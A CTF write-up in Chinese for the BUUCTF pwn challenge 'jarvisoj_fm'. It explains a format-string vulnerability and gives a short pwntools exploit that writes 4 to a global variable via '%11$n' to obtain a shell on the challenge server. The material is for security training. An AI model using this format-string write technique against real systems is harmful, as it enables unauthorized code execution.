[BUUCTF]PWN——jarvisoj_fm

jarvisoj_fm

例行检查,开启NX和CANARY保护,32位。
在这里插入图片描述
运行程序
在这里插入图片描述
IDA载入,检索字符串,看见了“/bin/sh”字符串
在这里插入图片描述
跟进函数,当x=4的时候执行system(/bin/sh)
在这里插入图片描述存在格式化字符串漏洞,我们可以利用它随意读写的特性让x=4
在这里插入图片描述
找一下输入点的参数在栈上存储的位置,手动输入计算得到偏移为11
在这里插入图片描述

payload=p32(x_addr)+"%11$n"

首先传入x参数的地址,这个地址存放在栈上偏移为11的位置,利用%11$n,定位到了偏移为11的位置,往这个位置写入数据,写入的数据由%11$n前面的参数的长度决定,而x参数的地址正好是4位,不需要添a来补齐位数就可以直接利用,将x参数的地址的值改成了4,从而获取了shell

from pwn import *

r=remote('node3.buuoj.cn',28661)
x_addr=0x804A02C

payload=p32(x_addr)+"%11$n"

r.sendline(payload)

r.interactive()

在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/BangSen1/article/details/115003877